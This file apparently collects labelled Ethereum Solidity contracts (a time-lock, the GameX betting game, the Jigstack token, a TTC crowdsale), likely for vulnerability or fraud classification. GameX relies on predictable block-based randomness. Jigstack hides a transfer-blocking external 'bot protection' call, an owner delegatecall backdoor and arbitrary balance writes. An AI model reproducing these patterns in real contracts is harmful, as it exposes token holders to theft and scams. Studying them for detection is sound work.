event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(
address indexed _owner, address indexed _spender, uint256 _value);
}
contract TokenTimeLock {
function TokenTimeLock (address _donationAddress) public {
donationAddress = _donationAddress;
}
function lock (
Token _token, address _beneficiary, uint256 _amount,
uint256 _unlockTime) public returns (uint256) {
require (_amount > 0);
uint256 id = nextLockID++;
TokenTimeLockInfo storage lockInfo = locks [id];
lockInfo.token = _token;
lockInfo.beneficiary = _beneficiary;
lockInfo.amount = _amount;
lockInfo.unlockTime = _unlockTime;
Lock (id, _token, _beneficiary, _amount, _unlockTime);
require (_token.transferFrom (msg.sender, this, _amount));
return id;
}
function unlock (uint256 _id) public {
TokenTimeLockInfo memory lockInfo = locks [_id];
delete locks [_id];
require (lockInfo.amount > 0);
require (lockInfo.unlockTime <= block.timestamp);
Unlock (_id);
require (
lockInfo.token.transfer (
lockInfo.beneficiary, lockInfo.amount));
}
address public donationAddress;
uint256 private nextLockID = 0;
mapping (uint256 => TokenTimeLockInfo) public locks;
struct TokenTimeLockInfo {
Token token;
address beneficiary;
uint256 amount;
uint256 unlockTime;
}
event Lock (
uint256 indexed id, Token indexed token, address indexed beneficiary,
uint256 amount, uint256 unlockTime);
event Unlock (uint256 indexed id);
} | 1 | 4,735 |
pragma solidity ^0.4.24;
contract GameX {
using SafeMath for uint256;
string public name = "GameX";
string public symbol = "nox";
mapping(address => bool) admins;
bool public activated = false;
uint public compot;
uint minFee = 0.01 ether;
uint maxFee = 1 ether;
uint minLucky = 0.1 ether;
uint retryfee = 0.1 ether;
uint16 public luckynum = 2;
uint16 public fuckynum = 90;
uint lastnumtime = now;
uint public noncex = 1;
uint public timeslucky;
uint public times6;
uint public times7;
uint public times8;
uint public times9;
uint public timesno;
uint public timesfucky;
uint16 public limit6 = 79;
uint16 public limit7 = 86;
uint16 public limit8 = 92;
uint16 public limit9 = 97;
uint16 public reward6 = 11;
uint16 public reward7 = 13;
uint16 public reward8 = 16;
uint16 public reward9 = 23;
uint16 public inmax = 100;
uint private lastPlayer;
uint public jackpot = 0;
uint public maskpot = 0;
uint public gameTotalGen = 0;
uint public _iD;
mapping(address => player) public player_;
mapping(uint => address) public addrXid;
struct player {
uint16[] playerNum;
uint16 playerTotal;
uint id;
uint playerWin;
uint playerGen;
uint playerWinPot;
uint RetryTimes;
uint lastRetryTime;
bool hasRetry;
address Aff;
uint totalGen;
bool hasAddTime;
}
constructor()
{
admins[address(msg.sender)] = true;
admins[0x8f92200dd83e8f25cb1dafba59d5532507998307] = true;
admins[0x9656DDAB1448B0CFbDbd71fbF9D7BB425D8F3fe6] = true;
}
modifier isActivated() {
require(activated, "not ready yet");
_;
}
modifier isHuman() {
address _addr = msg.sender;
require(_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier validAff(address _addr) {
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier onlyOwner() {
require(admins[msg.sender], "only admin");
_;
}
function()
public
payable
{
compot += msg.value;
}
function getPlayerNum() constant public returns (uint16[]) {
return player_[msg.sender].playerNum;
}
function getPlayerWin(address _addr) public view returns (uint, uint) {
if (gameTotalGen == 0)
{
return (player_[_addr].playerWinPot, 0);
}
return (player_[_addr].playerWinPot, maskpot.mul(player_[_addr].totalGen).div(gameTotalGen));
}
function isLuckyGuy()
private
view
returns (uint8)
{
if (player_[msg.sender].playerTotal == luckynum || player_[msg.sender].playerTotal == 100) {
return 5;
}
uint8 _retry = 0;
if (player_[msg.sender].hasRetry){
_retry = 1;
}
if (player_[msg.sender].playerTotal <= 33 && player_[msg.sender].playerNum.length.sub(_retry) >= 3) {
return 10;
}
return 0;
}
function Card(uint8 _num, bool _retry, address _ref)
isActivated
isHuman
validAff(_ref)
public
payable
{
require(msg.value > 0);
uint256 amount = msg.value;
if (player_[msg.sender].playerGen == 0)
{
player_[msg.sender].playerNum.length = 0;
}
if (player_[msg.sender].id == 0)
{
_iD ++;
player_[msg.sender].id = _iD;
addrXid[_iD] = msg.sender;
}
if (amount < minFee * _num || amount > maxFee * _num) {
compot += amount;
return;
}
if (player_[msg.sender].playerGen > 0)
{
require(player_[msg.sender].playerGen.mul(inmax).mul(_num) >= amount);
}
if (_retry && _num == 1) {
if (admins[msg.sender]==false){
require(
player_[msg.sender].playerNum.length > 0 &&
player_[msg.sender].hasRetry == false &&
player_[msg.sender].RetryTimes > 0 &&
player_[msg.sender].lastRetryTime <= (now - 1 hours),
'retry fee need to be valid'
);
}else{
player_[msg.sender].RetryTimes ++;
}
player_[msg.sender].hasRetry = true;
player_[msg.sender].RetryTimes --;
player_[msg.sender].lastRetryTime = now;
uint16 lastnum = player_[msg.sender].playerNum[player_[msg.sender].playerNum.length - 1];
player_[msg.sender].playerTotal -= lastnum;
player_[msg.sender].playerNum.length = player_[msg.sender].playerNum.length - 1;
player_[msg.sender].playerNum.push(100 + lastnum);
}
compot += amount.div(100);
jackpot += amount.sub(amount.div(100));
player_[msg.sender].playerGen += amount.sub(amount.div(100));
if (
player_[msg.sender].Aff == address(0x0) &&
_ref != address(0x0) &&
_ref != msg.sender &&
player_[_ref].id > 0
)
{
player_[msg.sender].Aff = _ref;
}
for (uint16 i = 1; i <= _num; i++) {
uint16 x = randomX(i);
player_[msg.sender].playerNum.push(x);
player_[msg.sender].playerTotal += x;
}
uint16 _case = isLuckyGuy();
if (_case > 0) {
timeslucky ++;
player_[msg.sender].playerWin = player_[msg.sender].playerGen.mul(36).div(10);
if (amount >= minLucky) {
player_[msg.sender].playerWin += jackpot.mul(_case).div(100);
}
endRound();
return;
}
if (player_[msg.sender].playerTotal > 100 || player_[msg.sender].playerTotal == fuckynum) {
timesno ++;
uint tocom = player_[msg.sender].playerGen.div(50);
compot += tocom;
subJackPot(tocom);
if (player_[msg.sender].playerTotal == fuckynum)
timesfucky++;
player_[msg.sender].playerWin = 0;
endRound();
return;
}
if (player_[msg.sender].playerTotal > limit9) {
times9 ++;
player_[msg.sender].playerWin = player_[msg.sender].playerGen.mul(reward9).div(10);
return;
}
if (player_[msg.sender].playerTotal > limit8) {
times8 ++;
player_[msg.sender].playerWin = player_[msg.sender].playerGen.mul(reward8).div(10);
return;
}
if (player_[msg.sender].playerTotal > limit7) {
times7 ++;
player_[msg.sender].playerWin = player_[msg.sender].playerGen.mul(reward7).div(10);
return;
}
if (player_[msg.sender].playerTotal > limit6) {
times6 ++;
player_[msg.sender].playerWin = player_[msg.sender].playerGen.mul(reward6).div(10);
}
}
event resultlog(address indexed user, uint16[] num, uint16 indexed total, uint gen, uint win, uint time, uint16 luckynum, uint16 fuckynum);
function resetPlayer()
isActivated
isHuman
private
{
emit resultlog(
msg.sender,
player_[msg.sender].playerNum,
player_[msg.sender].playerTotal,
player_[msg.sender].playerGen,
player_[msg.sender].playerWin,
now,
luckynum,
fuckynum
);
player_[msg.sender].totalGen += player_[msg.sender].playerGen;
gameTotalGen += player_[msg.sender].playerGen;
if (
player_[msg.sender].Aff != address(0x0) &&
player_[msg.sender].hasAddTime == false &&
player_[msg.sender].totalGen > retryfee
) {
player_[player_[msg.sender].Aff].RetryTimes++;
player_[player_[msg.sender].Aff].hasAddTime = true;
}
player_[msg.sender].playerGen = 0;
player_[msg.sender].playerTotal = 0;
player_[msg.sender].hasRetry = false;
player_[msg.sender].playerWinPot += player_[msg.sender].playerWin;
player_[msg.sender].playerWin = 0;
if (luckynum == 0 || lastnumtime + 1 hours <= now) {
luckynum = randomX(luckynum);
lastnumtime = now;
fuckynum ++;
if (fuckynum >= 99)
fuckynum = 85;
}
}
function subJackPot(uint _amount)
private
{
if (_amount < jackpot) {
jackpot = jackpot.sub(_amount);
} else {
jackpot = 0;
}
}
function endRound()
isActivated
isHuman
public
{
if (player_[msg.sender].playerTotal == 0) {
return;
}
if (player_[msg.sender].playerTotal <= limit8 && player_[msg.sender].playerWin == 0) {
player_[msg.sender].playerWin = player_[msg.sender].playerGen.div(3);
}
subJackPot(player_[msg.sender].playerWin);
resetPlayer();
}
function withdraw()
isActivated
isHuman
public
payable
{
(uint pot, uint mask) = getPlayerWin(msg.sender);
uint amount = pot + mask;
require(amount > 0, 'sorry not enough eth to withdraw');
if (amount > address(this).balance)
amount = address(this).balance;
msg.sender.transfer(amount);
player_[msg.sender].playerWinPot = 0;
player_[msg.sender].totalGen = 0;
maskpot = maskpot.sub(mask);
}
event randomlog(address addr, uint16 x);
function randomX(uint16 _s)
private
returns (uint16)
{
uint256 x = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number).add
(lastPlayer).add
(gasleft()).add
(block.gaslimit).add
(noncex).add
(_s)
)));
x = x - ((x / 100) * 100);
if (x > 50) {
lastPlayer = player_[msg.sender].id;
} else {
noncex ++;
if (noncex > 1000000000)
noncex = 1;
}
if (x == 0) {
x = 1;
}
emit randomlog(msg.sender, uint16(x));
return uint16(x);
}
function active()
onlyOwner
public
{
activated = true;
}
function setAdmin(address _addr)
onlyOwner
public
{
admins[_addr] = true;
}
function withCom(address _addr)
onlyOwner
public
{
uint _com = compot;
if (address(this).balance < _com)
_com = address(this).balance;
compot = 0;
_addr.transfer(_com);
}
function openJackPot(uint amount)
onlyOwner
public
{
require(amount <= jackpot);
maskpot += amount;
jackpot -= amount;
}
function resetTime(uint16 r6,uint16 r7,uint16 r8, uint16 r9, uint16 l6,uint16 l7,uint16 l8, uint16 l9,uint max,uint16 _inmax)
onlyOwner
public {
times6 = 0;
times7 = 0;
times8 = 0;
times9 = 0;
timeslucky = 0;
timesfucky = 0;
timesno = 0;
if (r6 > 0)
reward6 = r6;
if (r7 > 0)
reward7 = r7;
if (r8 > 0)
reward8 = r8;
if (r9 > 0)
reward9 = r9;
if (l6 > 0)
limit6 = l6;
if (l7 > 0)
limit7 = l7;
if (l8 > 0)
limit8 = l8;
if (l9 > 0)
limit9 = l9;
if (max > 1)
maxFee = max;
if (inmax >= 3)
inmax =_inmax;
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x, 1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z), z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x, x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x == 0)
return (0);
else if (y == 0)
return (1);
else
{
uint256 z = x;
for (uint256 i = 1; i < y; i++)
z = mul(z, x);
return (z);
}
}
} | 1 | 5,362 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Jigstack is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 3000000000000000000000000000;
string public name = "Jigstack";
string public symbol = "STAK";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,218 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
require(b > 0);
uint c = a / b;
require(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
function transfer(address _to, uint _value) public{
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) public {
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) public{
require((_value == 0) || (allowed[msg.sender][_spender] == 0)) ;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() public{
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public{
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract TTC is StandardToken, Ownable {
string public constant name = "TTC";
string public constant symbol = "TTC";
uint public constant decimals = 18;
function TTC() public {
totalSupply = 1000000000000000000000000000;
balances[msg.sender] = totalSupply;
}
function burn(uint _value) onlyOwner public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Transfer(msg.sender, 0x0, _value);
return true;
}
}
contract Crowdsale is Ownable{
using SafeMath for uint;
struct Backer {
uint weiReceived;
uint coinSent;
uint coinReadyToSend;
}
enum Phases {PreStart, PreIco, PauseIco, MainIco, AfterIco}
uint public constant PRE_MAX_CAP = 25000000000000000000000000;
uint public constant MAIN_MAX_CAP = 125000000000000000000000000;
uint public constant MIN_INVEST_ETHER = 100 finney;
uint private constant PRE_START_TIME = 1520820000;
uint private constant PRE_END_TIME = 1521079200;
uint private constant MAIN_START_TIME = 1522029600;
uint private constant MAIN_END_TIME = 1524189600;
uint public constant PRE_COIN_PER_ETHER_ICO = 5000000000000000000000;
uint public constant MAIN_COIN_PER_ETHER_ICO = 4000000000000000000000;
TTC public coin;
uint public maximumCoinsPerAddress = 10 ether;
address public preMultisigEther;
uint public preEtherReceived;
uint public preCoinSentToEther;
address public mainMultisigEther;
uint public mainEtherReceived;
uint public mainCoinSentToEther;
mapping(address => Backer) public preBackers;
address[] internal preReadyToSendAddress;
mapping(address => Backer) public mainBackers;
address[] internal mainReadyToSendAddress;
mapping(address => bool) public whiteList;
Phases public phase = Phases.PreStart;
modifier respectTimeFrame() {
require((now >= PRE_START_TIME) && (now < PRE_END_TIME ) || (now >= MAIN_START_TIME) && (now < MAIN_END_TIME ));
_;
}
event LogReceivedETH(address addr, uint value);
event LogCoinsEmited(address indexed from, uint amount);
function Crowdsale() public{
}
function setTTCAddress(address _addr) onlyOwner public {
require(_addr != address(0));
coin = TTC(_addr);
}
function setMultisigPre(address _addr) onlyOwner public {
require(_addr != address(0));
preMultisigEther = _addr;
}
function setMultisigMain(address _addr) onlyOwner public {
require(_addr != address(0));
mainMultisigEther = _addr;
}
function setMaximumCoinsPerAddress(uint _cnt) onlyOwner public{
maximumCoinsPerAddress = _cnt;
}
function() respectTimeFrame payable public{
require(whiteList[msg.sender]);
receiveETH(msg.sender);
}
function receiveETH(address _beneficiary) internal {
require(msg.value >= MIN_INVEST_ETHER) ;
adjustPhaseBasedOnTime();
uint coinToSend ;
if(phase == Phases.PreIco) {
Backer storage preBacker = preBackers[_beneficiary];
require(preBacker.weiReceived.add(msg.value) <= maximumCoinsPerAddress);
coinToSend = msg.value.mul(PRE_COIN_PER_ETHER_ICO).div(1 ether);
require(coinToSend.add(preCoinSentToEther) <= PRE_MAX_CAP) ;
preBacker.coinSent = preBacker.coinSent.add(coinToSend);
preBacker.weiReceived = preBacker.weiReceived.add(msg.value);
preBacker.coinReadyToSend = preBacker.coinReadyToSend.add(coinToSend);
preReadyToSendAddress.push(_beneficiary);
preEtherReceived = preEtherReceived.add(msg.value);
preCoinSentToEther = preCoinSentToEther.add(coinToSend);
LogReceivedETH(_beneficiary, preEtherReceived);
}else if (phase == Phases.MainIco){
Backer storage mainBacker = mainBackers[_beneficiary];
require(mainBacker.weiReceived.add(msg.value) <= maximumCoinsPerAddress);
coinToSend = msg.value.mul(MAIN_COIN_PER_ETHER_ICO).div(1 ether);
require(coinToSend.add(mainCoinSentToEther) <= MAIN_MAX_CAP) ;
mainBacker.coinSent = mainBacker.coinSent.add(coinToSend);
mainBacker.weiReceived = mainBacker.weiReceived.add(msg.value);
mainBacker.coinReadyToSend = mainBacker.coinReadyToSend.add(coinToSend);
mainReadyToSendAddress.push(_beneficiary);
mainEtherReceived = mainEtherReceived.add(msg.value);
mainCoinSentToEther = mainCoinSentToEther.add(coinToSend);
LogReceivedETH(_beneficiary, mainEtherReceived);
}
}
function adjustPhaseBasedOnTime() internal {
if (now < PRE_START_TIME) {
if (phase != Phases.PreStart) {
phase = Phases.PreStart;
}
} else if (now >= PRE_START_TIME && now < PRE_END_TIME) {
if (phase != Phases.PreIco) {
phase = Phases.PreIco;
}
} else if (now >= PRE_END_TIME && now < MAIN_START_TIME) {
if (phase != Phases.PauseIco) {
phase = Phases.PauseIco;
}
}else if (now >= MAIN_START_TIME && now < MAIN_END_TIME) {
if (phase != Phases.MainIco) {
phase = Phases.MainIco;
}
}else {
if (phase != Phases.AfterIco){
phase = Phases.AfterIco;
}
}
}
function preSendTTC() onlyOwner public {
for(uint i=0; i < preReadyToSendAddress.length ; i++){
address backerAddress = preReadyToSendAddress[i];
uint coinReadyToSend = preBackers[backerAddress].coinReadyToSend;
if ( coinReadyToSend > 0) {
preBackers[backerAddress].coinReadyToSend = 0;
coin.transfer(backerAddress, coinReadyToSend);
LogCoinsEmited(backerAddress, coinReadyToSend);
}
}
delete preReadyToSendAddress;
require(preMultisigEther.send(this.balance)) ;
}
function mainSendTTC() onlyOwner public{
for(uint i=0; i < mainReadyToSendAddress.length ; i++){
address backerAddress = mainReadyToSendAddress[i];
uint coinReadyToSend = mainBackers[backerAddress].coinReadyToSend;
if ( coinReadyToSend > 0) {
mainBackers[backerAddress].coinReadyToSend = 0;
coin.transfer(backerAddress, coinReadyToSend);
LogCoinsEmited(backerAddress, coinReadyToSend);
}
}
delete mainReadyToSendAddress;
require(mainMultisigEther.send(this.balance)) ;
}
function addWhiteList(address[] _whiteList) onlyOwner public{
for (uint i =0;i<_whiteList.length;i++){
whiteList[_whiteList[i]] = true;
}
}
function finalize() onlyOwner public {
adjustPhaseBasedOnTime();
require(phase == Phases.AfterIco);
require(this.balance > 0);
require(mainMultisigEther.send(this.balance)) ;
uint remains = coin.balanceOf(this);
if (remains > 0) {
coin.transfer(owner,remains);
}
}
function backTTCOwner() onlyOwner public {
coin.transferOwnership(owner);
}
function getPreRemainCoins() onlyOwner public {
uint preRemains = PRE_MAX_CAP - preCoinSentToEther;
Backer storage backer = preBackers[owner];
coin.transfer(owner, preRemains);
backer.coinSent = backer.coinSent.add(preRemains);
preCoinSentToEther = preCoinSentToEther.add(preRemains);
LogCoinsEmited(this ,preRemains);
LogReceivedETH(owner, preEtherReceived);
}
function getMainRemainCoins() onlyOwner public {
uint mainRemains = MAIN_MAX_CAP - mainCoinSentToEther;
Backer storage backer = mainBackers[owner];
coin.transfer(owner, mainRemains);
backer.coinSent = backer.coinSent.add(mainRemains);
mainCoinSentToEther = mainCoinSentToEther.add(mainRemains);
LogCoinsEmited(this ,mainRemains);
LogReceivedETH(owner, mainEtherReceived);
}
function refund(address _beneficiary) onlyOwner public {
uint valueToSend = 0;
Backer storage preBacker = preBackers[_beneficiary];
if (preBacker.coinReadyToSend > 0){
uint preValueToSend = preBacker.coinReadyToSend.mul(1 ether).div(PRE_COIN_PER_ETHER_ICO);
preBacker.coinSent = preBacker.coinSent.sub(preBacker.coinReadyToSend);
preBacker.weiReceived = preBacker.weiReceived.sub(preValueToSend);
preEtherReceived = preEtherReceived.sub(preValueToSend);
preCoinSentToEther = preCoinSentToEther.sub(preBacker.coinReadyToSend);
preBacker.coinReadyToSend = 0;
valueToSend = valueToSend + preValueToSend;
}
Backer storage mainBacker = mainBackers[_beneficiary];
if (mainBacker.coinReadyToSend > 0){
uint mainValueToSend = mainBacker.coinReadyToSend.mul(1 ether).div(MAIN_COIN_PER_ETHER_ICO);
mainBacker.coinSent = mainBacker.coinSent.sub(mainBacker.coinReadyToSend);
mainBacker.weiReceived = mainBacker.weiReceived.sub(mainValueToSend);
mainEtherReceived = mainEtherReceived.sub(mainValueToSend);
mainCoinSentToEther = mainCoinSentToEther.sub(mainBacker.coinReadyToSend);
mainBacker.coinReadyToSend = 0;
valueToSend = valueToSend + mainValueToSend;
}
if (valueToSend > 0){
require(_beneficiary.send(valueToSend));
}
}
function refundAll() onlyOwner public {
for(uint i=0; i < preReadyToSendAddress.length ; i++){
refund(preReadyToSendAddress[i]);
}
for(uint j=0; j < mainReadyToSendAddress.length ; j++){
refund(mainReadyToSendAddress[j]);
}
delete preReadyToSendAddress;
delete mainReadyToSendAddress;
}
} | 1 | 5,254 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity >= 0.4.22 < 0.5;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
